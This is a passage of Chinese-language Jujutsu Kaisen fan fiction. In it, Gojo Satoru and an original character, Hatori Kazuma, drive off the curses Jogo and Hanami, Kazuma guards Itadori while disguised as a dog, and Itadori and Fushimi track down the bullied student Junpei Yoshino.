抱着漏瑚脑袋的花御骤然感觉怀里重量忽然一沉,脚下步伐随之趔趄片刻——但它根本不敢停下来耽搁半分,毫不停歇地继续朝森林深处冲刺,迅速隐去了气息。 那柄短刃也仅钉在它身影彻底消失前的空间点上,没能拦下目标。 跃到地面的悟咪凝神感知片刻,很是失望地发出一声又长又软的“咪……”。 连又大又蓬松的白绒绒尾巴都沮丧垂了下去。 羽取一真听见悟又软绵绵地冲他发出必杀技——猫猫哼唧,便顺势解开拟态,让这位伟大的圣猫大人变回伟大的五条老师。 “很会隐藏气息啊,那个突然冒出来的咒灵。” 五条悟双手揣在衣兜里,视线一直往前延伸,直至落在已被暗影吞没的森林深处;没有被眼罩束缚的白发柔软垂落着,又被夜风吹得微微拂起。 突然冒出来的花海也是对方的咒术之一,竟然能削弱花海范围内施术目标的战意。 “话说,一真刚才是把那个火山头脑袋拟态成了理子?” 他想起什么,回过头看向羽取一真的表情越来越难以按捺笑意,简直要乐得不行。 在对方彻底撤退前的最后一瞬间,动态视力极佳的五条悟可是见到那个不成人形的火山头忽然变成了容貌姣好、身穿制服的麻花辫女子高中生——怎么看都是曾经在[星浆体]事件中的天内理子嘿! “会持续多久?” 这句话,他问出了十足的好奇与喜闻乐见。 羽取一真看了眼状态栏:“可能……会持续一周左右。” 刚才的战斗由威猛悟咪大杀四方,打得对方毫无还手之力,导致他全程只用了两次技能——而此刻,咒力条已经被彻底清空。 这也意味着,他刚才直接对漏瑚用了特级满咒力量的[八相轮卡·天内理子]拟态。 倘若羽取一真不主动帮忙解除这个拟态,对方大概率得顶着天内理子的外貌度过一周…… “哈哈哈哈!!” 五条悟终于忍不住放声大笑。 ……… 在无数扇普通的居民入户门之中,有一扇能通往特级咒灵·陀艮的生得领域。 未施加攻击性咒术的领域和平无比,有一大片的墨绿的棕榈树与被阳光照耀得闪闪发亮的灿金沙滩;当夏油杰与另一人悠闲躺在支起的太阳伞下时,能从清澈的浅滩一直望到远处与天际线交接的湛蓝深海。 外貌酷似章鱼的陀艮正在海里惬意地蛄蛹,成群的鱼类游过它身边,吐出一连串打招呼似的泡泡。 此刻的门外是深夜,但生得领域并不受现实天气与时间之类的环境影响。 “差不多该回来了吧,花御和漏瑚。” 真人学着夏油杰的动作端起茶杯,甚至还装模作样吹了吹表面的浮沫。 这只自人类对人类的憎恨之中诞生的特级咒灵,却热衷于模仿人类的生活;即使连真人自己也不清楚,他会在什么时候彻底失去兴趣。 话是这么说,它却将花御、陀艮与漏瑚看做同伴,也很在乎它们的安危。 其余三只咒灵也同样——而这也是花御始终在一旁观战的缘故,倘若漏瑚在与羽取一真的战斗中遇到危险,它能立即出手尝试将对方救回。 夏油杰没有跟着去,而是与真人一同留在了陀艮的生得领域里。 他不认为漏瑚能打得过羽取一真,更不希望到时候羽取一真不仅成功祓除掉漏瑚,还顺手把他也找出来杀了。 “我努力劝过它不要去了。” 夏油杰浅抿一口茶水,望着大海悠悠叹道。 坐在沙滩上喝热茶这画面是有些奇怪,究其缘由还是真人最开始捧着本不知道从哪里找来的书在看,还突然问他“茶是什么味道?”。 ——嘎吱。 当花御带着重伤的漏瑚推开门时,所有人及咒灵都朝这边投来目光,想要探究漏瑚与羽取一真对战的结果…… 真人:“……噗!!” 陀艮:“……咕噜咕…” 夏油杰:“……咳咳咳咳…” 在这数道情绪微妙的目光中,回来的花御左臂被巨大的白布完全包裹,仅露出的右手却拦腰抱着一位身穿高中生制服、发型为头巾+麻花辫的萌妹,将她牢牢夹在臂弯间。 无论如何感知,这个陌生少女的气息都是货真价实的人类。 去救漏瑚的花御没有救到漏瑚,却带回来一个漂亮但脸色超臭的少女? 漏瑚呢,不会死了吧? ……还是说,交换人质? 真人满脸都透露着茫然,在绞尽脑汁思索花御这么做的意义。 至于能一眼认出这百分之百是[天内理子]拟态的夏油杰,缓慢抬起手,默默捂住下半张脸。 他刚才险些被茶水呛死…… 现场陷入了金鱼吐泡泡一般的安静,大家都想说话,又都不知道从何开口。 在又一声海浪拍打沙滩的动静过后,真人率先问出了它最关心的问题。 “花御,漏瑚呢?” “*@&#%——” 从字面上无法理解意思的话语被吐出,正确的内容却自动流入众人的脑海:【这就是漏瑚。】 真人仔细盯着它臂弯间那个已经拉长了臭脸的萌妹。 真人又抬眼看着分辨不出任何情绪的花御。 “讨厌啦花御,漏瑚不应该是个牙齿黢黑、脑袋上长火山,钟爱没毛病也拄拐还散发着老人臭的大叔吗?” 顶着张男性人类样貌的它笑得分外清爽,令漏瑚脑门的青筋粗暴一跳,拼死也要给这小子点教训看看。 “………” 在花御还没开口之前,那个仅有腰部受力被托起,剩下四肢都耷拉着的臭脸萌妹,已经顶着格外严重的伤势,艰难地、慢吞吞地抬起了手。 “……找死吗你,真人!” “呲”的一声轻响,既像火柴头轻擦过磷片的声音,又好似引线被瞬间点燃时的动静。 被这个看起来脾气很火爆的人类少女一口喊出名字,真人还困惑眨巴眨巴眼睛。 “嗯?” 它的第一感想是——这萌妹学漏瑚生气喊它名字的口吻好像,但听起来可比漏瑚可爱多了。 紧接着,真人没有时间困惑了。 因为这个脾气超大的爆娇萌妹抬手一划,利落点燃了它正坐在屁股下面的沙滩椅! “好烫好烫好烫!!!” 猝不及防被偷袭,真人当场被烧得从沙滩椅上跳起来,像只突然被扔进了油锅的蛤丨蟆。 这下百分之百确定了,这个放火烧它屁股的人类少女真是漏瑚! 屁股燃着火来回转了几圈,不得不跳进海水里灭火的真人,格外狼狈又惋惜的扯了扯自己这条被烧出个漏风大洞的裤子。 “……你怎么变成了这样,漏瑚?” 确认自己同伴被爆改爆娇萌妹,真人反而变得更加兴奋;它带着浑身的湿漉漉从海里又踩回沙滩上,靠近这位彻底变了个模样的漏瑚,仔细来回端详。 “看上去完全没事嘛。” “……你到底哪只眼睛看到我没事的!” 被迫顶着女子高中生样貌的漏瑚气得咬牙切齿——它能感觉到这副人类的外表不过空壳,自己体内的咒力依旧空空荡荡,只能依靠一点一滴的缓慢恢复来逐步修补躯体。 更别提它刚才还用仅剩不多的咒力烧了一次真人的屁股。 “欸,明明这样还挺可爱的,别变回去了呗,漏瑚。” “咕噜咕噜。” “找死吗你们!” “欸——好啦好啦,别生气嘛,漏瑚,我不说这个啦。所以你是被羽取一真打败了?他竟然这么强吗?” “………” “哎好烫好烫好烫!!” 第185章 漏瑚是如何以屈辱的人类少女之身度过一周这件事暂且不谈, 对纯白长毛大猫的恐惧大概已经刻进DNA里了。 假设咒灵有DNA的话。 哪怕听完描述的夏油杰和它解释说明当时那只白猫其实是猫咪拟态下的五条悟——就如同它被羽取一真拟态成这位少女般——也无济于事。 顶多从只对猫产生巨大的心理阴影,变成对猫和五条悟都产生了巨大的心里阴影。 开什么玩笑,五条悟变成猫都能把它打得毫无还手之力, 变回人类样貌还得了? 至于羽取一真, 夏油杰不建议漏瑚养好伤后再去进行第二次袭击。 经过这一战,漏瑚与花御的存在已经被暴露给咒术界,如果不想在下一次被彻底祓除,以后还是绕着他们走路比较好。 漏瑚本来是不听劝的,但经过这一次被打到濒死的教训,它现在格外听劝。 何况, 当时的羽取一真纵使没有五条悟在身侧,也未必打不过它。 毕竟在那只白猫冲上来把它揍得七荤八素之前, 漏瑚就已察觉到羽取一真的空间术式对付起来确实棘手。 能死里逃生地回来, 已经是十足侥幸的结果了。 “既然大家现在对我的计划都没有异议, ” 夏油杰坐在背部支起的沙滩椅上, 双手十指交握放在腿上,以一种游刃有余的从容姿态望向这四位特级咒灵。 “那就先开始尝试第二步吧。真人?” 被叫做真人的, 是一位身上遍布缝合线,拥有灰蓝长发与金蓝异瞳色的特级咒灵——假设忽略它身上那些手术似的缝合线及纯粹的诅咒气息,几乎可以将其看做人类。 与驾驭岩浆与炽焰的漏瑚不同,它能改变触摸对象的灵魂形态, 同时又具备些许活跃的孩子气与求知欲, 以及某种天然且不加以任何掩饰的、恶意的残忍感。 “总算到我出场了吗?” 重新换了套衣服的真人抬手伸了个懒腰,再似模似样地转动几下肩膀, 像是在尝试模仿人类行为那般刻意。 “好哟,就来看看我能做到什么地步吧。” ……… “真是越来越复杂了啊……” 凭一猫之力逼退两只未登记且能拥有理性的特级咒灵,五条悟的反应并不如表面上那么轻松。 这里说的“不轻松”倒不是指他在战斗上的不轻松, 而是对接下来的事态发展产生了些许忧虑。 夏油杰与复数的特级咒灵联手,怎么可能会只想杀一真就结束了。 包括那个强行让两面宿傩受肉在悠仁身上的里梅,后续也不知道会再有什么动作。 何况还有对“两面宿傩的容器”极为忌惮且厌恶的高层……哪怕他昨天交了份特意抹除一真存在的特级咒灵目击兼遇袭报告,那些老头依旧对悠仁的警惕与排斥感更强烈。 要不是之前被羽取一真杀怕了,此刻的他们大概早就借着某些“人”的手,不动声色将悠仁处理了吧。 “一真,一真一真——” 在家里的五条悟更常穿着宽松且休闲的居家服,沙发也挑了张又大又软的,足以让一米九的成年人也能横躺打滚,被轻柔羽绒包裹着完全放松下来。 此刻,五条悟正盘膝坐在沙发上,又顺手捞过抱枕搂在怀里,才拖着撒娇似的尾音喊去阳台收衣服的羽取一真。 “怎么了?” 羽取一真怀里抱着收到一半的衣服,先从阳台探了个脑袋看过来。 “冰箱里还有生巧克力蛋糕喔。” 是他在下班后特意绕路去[如你所愿]买的,因为悟之前说那家店出了超美味的限时新品,又实在没空去排队。 “好耶!……等等我说的不是这个啦。” 五条悟条件反射欢呼出声,而后又赶紧摆手,“我是想问,你最近可以不去盘星教吗?” “嗯,没什么问题。” 只需要和酒见绫子说一声就行,让她帮忙暂时管理盘星教的一切事物。 羽取一真点头,索性带着怀里的衣服先回客厅——在五条悟的身边坐下之前,先与对方互换了个浅尝辄止的亲吻。 “下个月有姐妹校交流会,二三年级的学生都在忙着训练和做任务,” 五条悟有点不满足的微眯起眼,但没忘记先讲正事。 “最近咒灵又多得有点泛滥成灾,连一年级都比往年要忙了……坦白说,我不是很放心悠仁。” 羽取一真思考片刻,“因为还没找到下落的那个里梅吗?” “差不多,既然他们打算复活两面宿傩,肯定不甘愿让悠仁一直压制着他。” 五条悟抱着靠枕,索性朝自家恋人的肩头一歪身体,变成懒散靠着他的极放松姿势——连墨镜被蹭歪了些也毫不在意。 “我猜他们还有后手。但我接下来还有太多事情要忙,所以啦,能拜托一真帮忙照看悠仁一段时间吗?” 羽取一真正要满口答应,又想起悟上次故意捉弄他的小小恶趣味。 抛开高专教师与特级咒术师这层身份不谈,悟的心性始终是更烂漫而生动的,像被轻轻吹起在阳光下那流光溢彩的泡泡。 只是在更多时候,羽取一真希望悟能更自由自在一些,不会再受到如此多事情的捆绑,忙到连给自己排队买甜点的时间也没有。 像这样能一起静静坐在家里的沙发上度过夜晚,都是他上个月被漏瑚袭击的那天了。 也就是在那晚,五条悟边得意哼哼着“一真要感谢我救了你哦”,边理直气壮的让他“来试试这个”…… 羽取一真的思维顿时一卡顿,偏过目光——从他的视线里,仅能看见棉花糖丝似的柔软白发,以及小半张极漂亮的侧脸。 啊啊,这竟然是他的恋人。 光是想到这点,羽取一真的心跳就不由自主加快,被某种充盈的、轻飘飘的美好情绪全部塞满,甚至多到会溢出来。 ——世界在恩赐他。 “算是悟的私人请求?” 羽取一真笑着,口吻忽然变得活泼许多。 “嗯?” 五条悟抬了抬眉梢,敏锐发现这位的语气有点不对劲——或者说,格外像上次他使坏时会用的口吻。 也跟着慢慢学坏了嘛,这家伙。 “——没错。” 五条悟笑眯眯在心底想道,全然不提对方学坏的范本就是他自己。 “那我可以提前索要奖励吗?” 缓慢眨了眨眼,羽取一真在那双雾蓝苍瞳注视过来的含笑默许下,俯身吻住了他。 ………… 翌日。 东京咒术高专,一年级教室。 五条悟一声“嘿哟”从门外蹦跶进门内,朝虎杖悠仁打招呼——是肉眼可见的心情超级棒。 “呀,早上好哦,悠仁!” 比起从小就接触咒术界的伏黑惠,和家里有咒术师长辈的钉崎野蔷薇,半路杀进来的虎杖悠仁确实在起步阶段稍微慢了些。 但与之相对,他在战斗上的天赋及进步速度,包括那份甚至超越普通[天与咒缚]的身体素质,是连五条悟也忍不住称赞的程度。 至于眼下的悠仁没有术式、仅能依靠施加咒力的拳头或使用咒具来祓除咒灵这点,他也并没有十分担心。 身为寄居着两面宿傩的容器,不必等多久,他的体内自然而然便会刻下这位诅咒之王的术式。 “早上好,五条老师!” 虎杖悠仁的应答声也超积极,“喊我过来是有什么事吗?” 当然不是说他平时不来教室上课啦,但最近任务真的特别多,钉崎和伏黑现在还是出差中呢。 不过,他暂时还只能分担三级以下的咒灵祓除任务,二级咒灵还是要组队祓除才更保险。 “哎呀——想说悠仁最近进步很大呢,” 五条悟摇了摇食指,满脸都是灿烂又爽朗的笑意。 “所以哦,老师要特别给你一个奖励!” 一听到是老师给的奖励,虎杖悠仁的眼睛瞬间就变成了超期待的亮晶晶,几乎要一闪一闪起来。 “哇!真的吗?!” “没错没错,老师怎么会骗你呢,请看这边——!” 五条悟双手在身前一拍,继而引导虎杖悠仁朝他脚边看去——与此同时,听见悟拍掌暗示的羽取一真前爪一迈,慢吞吞溜达进这间教室里。 “锵锵——是老师心爱的黑豆柴!名字叫真丸哦!哼哼,他可是很厉害的,在接下来这段时间,你只要离开高专,就让他陪在身边吧。” “!!!!” 一看见是超超超级可爱的黑豆柴狗狗,虎杖悠仁顿时快乐到没边,嗷一下就扑到这只真丸身边,抱起来使劲蹭脸。 羽取一真被蹭到有点生无可恋,黑瞳幽幽盯着自家恋人——换来一个笑着无声拜托他的口型。 嗯…毕竟是悟拜托了,那也没有办法。 而且他原本也需要照看悠仁,拟态成黑豆柴确实是最不着痕迹的一种方式。 “我知道是老师不放心我,嘿嘿。” 终于蹭足了瘾,虎杖悠仁看向五条老师的笑脸同样灿烂,每个字皆说得真挚无比。 “谢谢五条老师!”——而后,他又看向这只目光中隐隐流露出无可奈何的黑豆柴,“也请你多指教啦,真丸!” 哪怕接触了咒术界近半年也仍然很有活力,仿佛那些阴暗面永远也无法侵染到他。 五条悟哑然片刻,笑起来,“还要记得谢谢一真哦。” “嗯,谢谢羽取先生!” 虎杖悠仁用力点了下脑袋,忽然反应过来不对。 等等,真丸……一真……羽取一真……!!! 向来思维灵活的他脑袋一僵,脖颈好似生锈般一格一格的,缓慢转向依旧安静站在原地的这只黑豆柴狗狗。 慢着慢着……!! 第186章 “一……不对, 真丸先生,我的下个任务要去神奈川来着,明天出发。” 太过机灵的虎杖悠仁, 对待五条老师托付给他的[心爱黑豆柴]的态度与初见相比, 看成是天翻地覆。 把刚回来的钉崎野蔷薇都听得无语虚起眼,“……先生?” 哪有对着狗这么毕恭毕敬的家伙? “而且啊,你干嘛还特意和它说下个任务的内容,它又听不懂。”钉崎野蔷薇很是纳闷,“你不是和伏黑一起去吗?” 但这句吐槽换来的是虎杖悠仁用竖起的食指嘘她,示意自己这位同学可不能乱说话——这只黑豆柴实打实能听懂的! “不要这么说啊, 真丸先生可是五条老师最爱的……狗狗呢!” 想起五条老师交代不要告诉别人的笑眯眯表情,虎杖悠仁后半截的话又硬生生转了回来。 不过, 钉崎野蔷薇并不在意虎杖悠仁话里的这点小卡壳。 她更在意真丸在五条老师心中的地位。 “竟然是五条老师的, 爱犬!” 钉崎野蔷薇的双手在胸□□握, 瞬间期待起来, “如果我把真丸哄得开开心心的,五条老师会不会为我介绍模特的工作呢……” 毕竟, 五条老师可是那位数十年前惊鸿一现,却始终耀眼璀璨如神明的大明星呢! 连她那种乡下地方,大多数年轻一辈都听过五条老师的歌,收藏在家里的海报更是数不胜数。 当时接电话还没反应过来, 只感觉这声音有点耳熟——等钉崎野蔷薇好不容易赶了大半天的车到东京后, 抬眼就看见是五条悟亲自来接她的时候,整个人都震惊得当场失去面部表情管理的程度了! 先不提她当场扑到五条老师面前用布灵布灵的超闪亮大眼睛拜托签名与拍照, 后续听说同期的菜菜子和美美子竟然是五条老师和羽取先生从小看到大的,更是心里不平衡到半夜都会默默咬住被角羡慕。 她也想有个大明星的长辈啊,可恶! 话说她在来东京就读咒术高专前, 还想过如果有星探找上门来,要不要趁机当一下模特试试看呢。 结果自己的老师就是大明星!和这几年超火的佐木杏理都是好友! 钉崎野蔷薇想到这里,就已开始伸手对着真丸比出嘬嘬手势,“来这里来这里,给你牛肉干吃到饱哦——” 羽取一真:“……” 虎杖悠仁:“……” 虎杖悠仁赶紧把真丸搂到怀里,几乎要发出惨叫,“你不许这么对待真丸先生啊啊啊!!” 钉崎野蔷薇困惑眨了眨眼,“……啊,看不出来你还是重度狗派。” 虎杖悠仁沉默。 等你知道这位真丸先生本体其实是你崇拜的另一位大明星后,就不会像眼下这么淡定了…… “话说,菜菜子和美美子呢?”虎杖悠仁只好转移话题,“她们之前和钉崎一起去出的任务才对?” “哦她们,说是直接回家了,因为长辈要离开一段时间,她们和乙骨前辈需要在休息时帮忙回去看着。” 钉崎野蔷薇摆了摆手,表示自己也没问得太细。 虎杖悠仁听到这里,又没忍住看了眼端正坐在课桌上的这只黑豆柴。 他想,他大概知道那位长辈的离开到底是去了哪里…… “谢谢一真先生。” 虎杖悠仁小声对这只超可靠的狗狗说道,换来那双黑瞳的好笑一瞥。 有时觉得悠仁心大得都没什么警惕性,有时又觉得这小子的头脑还是相当机灵的。 等伏黑惠忙完任务回来的第二天,虎杖悠仁便带着真丸和他一起搭乘辅助监督——伊地知洁高的车,一同前往神奈川县川崎市。 那里伫立着一家名为Kinema的电影院,有一个暂时被评估为二级的任务在等着他们。 “据说是电影的工作人员在上映结束后打扫卫生时,发现了三名男高中生的怪异尸体。” 伏黑惠翻阅着报告资料,声音平淡,对那只被虎杖悠仁抱在怀里的黑豆柴也表现得没有丝毫好奇心。 或者说,当伏黑惠听见虎杖称呼它为真丸先生、又是由五条老师亲自送过来的时候,基本就猜到对方的真实身份了…… “是什么样的怪异尸体?” 虎杖悠仁暂时没有手接报告,于是将脑袋凑过去看——伏黑惠顺势将报告朝他那边侧过去一些,好让后者能看得清照片。 “头部变形,连带引发了脑压上升与呼吸麻痹。” 伏黑惠说,“电影院已经拉起警戒线,但[窗]在现场只发现了咒力残秽,没有目击到咒灵的踪影。因此,初步将任务定为二级,首要目标是找到造成这一事故的咒灵,不强求祓除。” 基于人类负面情绪与共识的差别,所诞生出咒灵特性同样千奇百怪,从高阶到低阶,那些咒灵制造出的死亡现场几乎没有一模一样的。 因此,他们无法依据遇难者的遗体来倒推出是什么咒灵所为,必须要依靠人力搜索确认。 “按照监控摄像头的记录,当时与那三位死者待在那间放映厅的,还有另一位少年。” 抱着真丸的虎杖悠仁与伏黑惠下车前,伊地知洁高特意叮嘱道。 “目前还不确定犯人是咒灵抑或咒术师。但不管是哪边,那位少年大概率是[事故目击者]。我会去与警察对接,锁定那位少年的身份,就劳烦你们先帮忙排查电影院了。” 原本繁华的电影院此刻早已被清空,仅剩两位警察坐在一楼的餐饮店里,似乎在等同事的支援。 伏黑惠向他们微微欠下身,简单说明完来意,便被成功放行了。 其中一位大概是新人,当伏黑惠与虎杖悠仁离开时,还能听见他在背后困惑地向他同事询问他们是什么来头。 所幸咒力残秽的痕迹十分明显,比起在这方面略显生涩的虎杖悠仁,伏黑惠熟练循着残痕追踪而去,并在楼顶找到了两个疑似咒灵的非人型生物。 至于为何用的是“疑似咒灵的非人型生物”这种形容词,是因为在战斗途中,伏黑惠敏锐察觉到其中一个生物的手腕上竟然有佩戴手表。 咒灵的身上可不会戴着这种人造产物。 他拿出手机,发现摄像头也能捕捉到这两个生物的外型——而咒灵是无法拍到的。 甚至在确定它们已经彻底不动后,尸体也没有产生普通咒灵死后会出现的消散反应……莫非,是经过术式改造的人类? 伏黑惠随即打电话给伊地知洁高,拜托他开车将这两具遗体送回高专给家入硝子解剖鉴定。 “正好,警察已经确定那位少年的身份了——吉野顺平,里樱高中的学生,但已经很久没有上学了。家庭住址则是这个,你们可以尝试在附近找到他并进行试探。” 伊地知洁高发来一个地址与吉野顺平的照片,便暂时与虎杖悠仁及伏黑惠告别,返回高专。 “嗯,交给我们吧!” 虎杖悠仁抱着真丸,空出一只手使劲朝伊地知先生挥了挥。 等他回头时,却见到伏黑惠始终眉头紧锁,似乎在为某事而感到烦闷的模样。 “怎么了伏黑,在怀疑是那位吉野做的吗?” “……我不确定。” 伏黑惠沉默片刻,还是决定等高专那边出确切的鉴定报告再告诉虎杖悠仁。 “先找到吉野顺平,然后用我的玉犬去试探一下他能不能看见咒灵吧。” 根据伊地知洁高的情报,他们先直奔吉野顺平的家,按了几次门铃也毫无动静。 虎杖悠仁:“啊,说不好他去学校上课了呢?” 伏黑惠没有异议,他们随即又打车前往里樱高中——由于现在还没到放学时间,他们是带着真丸偷偷翻墙进去的。 然而,他们不仅没能在吉野顺平的班上找到他,反而收获了更多来自同龄人的恶意。 “吉野?我们班上有这个人吗?” “哎呀,完全不认识——” “哈哈哈别这么说啦,那个位置不就是吉野的吗?” “他好久没来学校了吧?” “据说之前和佐山他们关系很好来着?” “佐山?”虎杖悠仁眨了下眼睛,“佐山不就是前两天……”在电影院死去的三人之一。 眼看课间快要结束,避免被老师盘问他们是从哪里来的虎杖悠仁和伏黑惠正准备离开,却听到角落里又另一句话响起,却连反驳都不敢大声。 “根本不是关系好,”坐在角落里的那个男生忿忿抱怨道,“明明佐山他们一直都在欺负顺平。” 虎杖悠仁的脚步顿时一停,拐到了对方的桌前——在后者露出惊恐表情前,先一步冲他笑得灿烂。 “告诉下我具体情况好不好?” ……… “最开始时,吉野顺平因为喜欢看电影,便与几位同好成立了映像社。但很快就被同校的有钱少爷伊藤翔太纠集其它不良霸占活动室,吉野顺平也连带遭到殴打,并进而陷入到越来越深重的校园霸凌中……除去经常欺负他的佐山、西村和本田外,还有其余数人。” 伏黑惠对着手机慢慢念完这段话,平静抬眼看向面前眼前这几位吊在单杠上,目露惊恐,却完全不敢松手放自己下地的不良。 “你们知道,与人相处的最基本原则是什么吗?” 上一个想要落在地面的人,不知道被什么东西咬了屁股,嗷嗷惨叫着又往上窜了一截,只能继续吊在单杠上苦苦支撑。 一白一黑两只玉犬,就好像海面上露出背鳍的鲨鱼,在这几人脚下来回逡巡。 站在旁边的虎杖悠仁看着架势熟练的伏黑惠,目瞪口呆,几乎要变成与怀里黑豆柴一致的豆豆眼。 “伏黑哥!拜托!请伏黑哥原谅我们!” 当他们找到这几个不学校在附近游荡的不良时,其中一人竟然认识曾经在浦见东中学的不良口中享有赫赫威名的伏黑哥,令这位被一口叫破过往历史的“伏黑哥”缄默片刻。 于是,这帮人就被传说中的伏黑哥用对付不良的手段来拷问——例如自己用双手把自己吊在单杠上面,没他的允许不准落地。 从这些人口中,虎杖悠仁与伏黑惠大致了解了吉野顺平在学校里受到的霸凌——包括但不限于言语上污蔑与羞辱、索要金钱、暴力殴打、烟头烫皮肤、生吞独角仙及各种昆虫……光是听到这些,就让虎杖悠仁拳头握紧,明显动了怒。 “继续在单杠上吊两个小时,还是想办法把伊藤翔太叫过来换你们,选一个。” 伏黑惠冷淡开口——而受他驱使的玉犬,则在其中一人坚持不住要松手时,又狠狠咬了一口对方的屁股。 “啊…!!” 惨叫与求饶在这片没人敢过来的沙滩乐园里此起彼伏,久久不能消散。 ……… 当吉野顺平回家时,远远就见到班上这个格外肥胖的外村老师坐在自己的家门口,还在用手绢不停擦着汗。 是来找他去上学的吗…… 吉野顺平不想再靠近对方,却被外村老师一眼看见并立刻起身朝这边奔过来,根本没有给他躲开的余裕。 “吉野!” “外村老师……什么事?” 二人的距离不断缩短,吉野顺平下意识就要后退,却被外村老师一把捞过手来握着,神情慌张无比,急得额头一直在冒汗。 “伊藤还有尾池他们被校外的不知名人欺负了,硬生生在单杠上吊了一下午,据说屁股都快被咬烂了!他们还点名要你过去才肯放人!” 吉野顺平:“……” 吉野顺平:“欸?” 第187章 霸凌他的那些家伙, 眼下正在别人那里受苦。 ——这消息令吉野顺平愣了半晌,才回过神来。 哪怕这个肥胖又愚蠢的外村老师还在那边嘀嘀咕咕说些什么“佐山他们死了啊,你连他们的葬礼也不去”, 或是“他们不是经常关照你吗, 快点去救他们”之类的话,他都不觉得十分生气了。 随之而来的,是另一个念头。 竟然用这种事来要挟他,就算不去也完全没关系吧? 反正他也不是很想把那些人渣救出来。 “这种事情,要我去也……没什么用吧。叫警察不是更快吗?” 吉野顺平用力将自己的手从那汗腻热滑的感觉中抽离,才感到自己能够顺畅的继续呼吸。 长期遭到霸凌的他习惯性撇开视线没有看向那头自以为是的肥猪, 但略低而轻的话语中并没有任何想要去救伊藤他们的意思。 “我们已经尝试过了,可不知道什么情况, 警察劝我们最好不要多管闲事。” 外村老师急得又开始用那张已经湿透的手绢擦汗, 便绞尽脑汁地想办法让吉野顺平同意过去。 “听这个意思, 我过去岂不是也会有危险吗。” 吉野顺平轻声说道, 脚下半步也没动。 既然警察都不敢管,那些人渣也在被教训, 那他更没有过去的必要——尤其是这个老师,还在那自顾自讲着他们不应该很要好吗。 吉野顺平沉默着,浮现在心底的情绪似嘲弄似怨怼,好似结了层冰冷的严霜。 没有对着这个自说自话的老师笑出声, 去幸灾乐祸那几个人渣的遭遇, 已经是他所剩不多的宽容了。 吉野顺平打定主意不过去,正想绕开外村老师回家时, 却听见他犹犹豫豫开口。 “吉野啊,对方现在只是点名要你过去,也没有说会对你怎么样吧?而且伊藤他们现在被折磨得那么惨, 要是那人找上门来,用你的亲人来威胁……” 外村老师正说到半途,却见吉野顺平的表情骤然一变——极怒之下瞪过来的视线,甚至让他不敢再继续将话说完。 “我去就是了。” 吉野顺平慢慢开口说道。 他的母亲确实是他唯一的软肋,是不许任何恶意接近的存在。 不过,吉野顺平答应过去的关键,是如今的他也拥有了超越常理的反制手段。 真人先生已经将他的大脑调整成了“能使用术式的结构”,在最近的练习中也能熟练使用式神进行战斗。 哪怕有人想要对他的母亲下手,吉野顺平也下定决心自己绝对会先杀了对方。 甚至在跟着外村老师过去的一路上,他都在模拟自己该如何迅速使用诅咒制服敌人——如果对方也是咒术师的话,他是不是应该更谨慎的对待? 但真人先生又交代过如果遇见制服纽扣是漩涡花纹的学生,就和他们打好关系…… 吉野顺平一路上都在胡思乱想,直到外村老师停下脚步,开始远远冲着那片沙滩乐园上的人大喊起来。 “吉野已经来了,快、快把伊藤他们都放了吧!” 站在他身后的吉野顺平没有说话,心脏却在逐渐下沉,好似一直沉进了胃里,化作一块带给人痛苦的顽石。 外村老师的语气就好像是双方互换人质,而他则是那枚用一次便可以抛进垃圾桶的弃子。 而此刻,他也看清了这片沙滩乐园的场景——伊藤他们确实在单杠上整整齐齐挂了一排,像一块块被被吊在火堆上烟熏的猪肉。 倘若再仔细盯上两眼,会发现他们满脸都是汗与沙子与血的混杂物,似乎是脱力摔在了地面,又被强硬要求继续回去吊着,表情已经变得极度哭丧,连求饶都变得只能小声哼唧。 与此同时,有一白一黑两只狗在这群人身边来回巡逻,正对着这些越来越靠近地面的屁股虎视眈眈。 这大概就是外村口中“屁股都快被咬烂了”的罪魁祸首…… 站在单杠对面的则是两个男生,都穿着没见过的学校制服;其中一位还抱着只狗狗,也正在朝这边看过来。 曾经被霸凌的次数太多,连被视线注视的感觉都刺激得吉野顺平下意识想要后退,想将自己藏到什么隐蔽的角落里去。 “啊,伏黑,真的是吉野顺平到了!” 紧接着,那个浅樱发色的少年单手托着怀里的黑豆柴,另一只手使劲朝他这边挥,似乎是在打招呼——语气更是开朗又活泼,完全不像是会去当不良的坏学生。 吉野顺平哑然片刻,却还没等他想好该怎么回应前,另一位黑发四处乱翘的少年同样出声了。 并不是对着吉野顺平,而是对着他身前的外村老师。 “你,”伏黑惠冷淡开口,“也给我去单杠上吊着。” 外村老师慌张左右看了眼,发现那道冷冰冰的视线始终钉在他身上后,才不得不喏喏接话。 “……我、我也要?” “这里还有其他人吗?” 既然对方始终不肯动,伏黑惠驱使其中一只玉犬过去他的身边,狠狠咬了口这个一米宽的屁股——伴随着“嗷”一声惨叫,这位过于肥胖的外村老师不得不一瘸一拐的来到其中一根单杠前,并在跳起的同时握住它,直至将自己变成其中一块格外肥腻的烟熏猪肉。 吉野顺平的眼睛都瞪大了,难以相信眼前这幕场景竟然真实发生了在他的面前。 不是他被这些人渣霸凌,而是他看着这些人渣在受苦。 而且,竟然连外村老师也…… “虽然点名要你过来,但一直被霸凌的人,怎么可能会愿意主动过来解救他们。” 察觉到吉野顺平在惊疑不定的盯着他看,伏黑惠缄默片刻,还是出声给他解释。 “肯定是被他用什么办法威胁过来的。” 既然如此,说明吉野顺平被霸凌如此之久却没有任何改善的遭遇,这家伙大概率也有责任。 伏黑惠用视线冷淡瞥了眼已经开始因为撑不住而哀哀叫唤的外村老师,简明扼要总结道。 吉野顺平完全无法反驳。 他甚至越来越无法掩饰自己逐渐上扬的唇角。 而且当他主动走过来之后,发现这两位少年的制服上的纽扣都是漩涡花纹——是真人先生叮嘱过可以搞好关系的咒术师。 “你们找我是有什么事吗?” 吉野顺平主动开口问道。 如果将此刻他对虎杖悠仁与伏黑惠的好感数值具现化,那么就是当单杠上的人渣哀嚎一声,吉野顺平的好感立刻叮一声+1;哀嚎一声,再叮一声+1……如此这般,一直在叮叮叮响个不停。 而虎杖悠仁与伏黑惠待在沙滩乐园的这个下午,已经接到过来自家入硝子的电话。 “那两具尸体,确实属于人类——与电影院内的那三个受害者同样,是被咒术强行改造成这样的。” “不仅只是外形的改变,这个术式甚至令普通的非术师也拥有了与咒灵媲美的咒力,甚至可以像咒灵一样进行战斗。” “而且,我在脑干周围发现了咒力改动的痕迹。按照五条对大脑与生得术式之间联系的猜测,我们可以合理怀疑这个术式不仅能够将非术师改造成咒灵状态,也能让非术师变得可以使用术式。” “因此,吉野顺平的状态就格外至关重要。” 家入硝子转述五条悟听完来龙去脉后给出的建议。 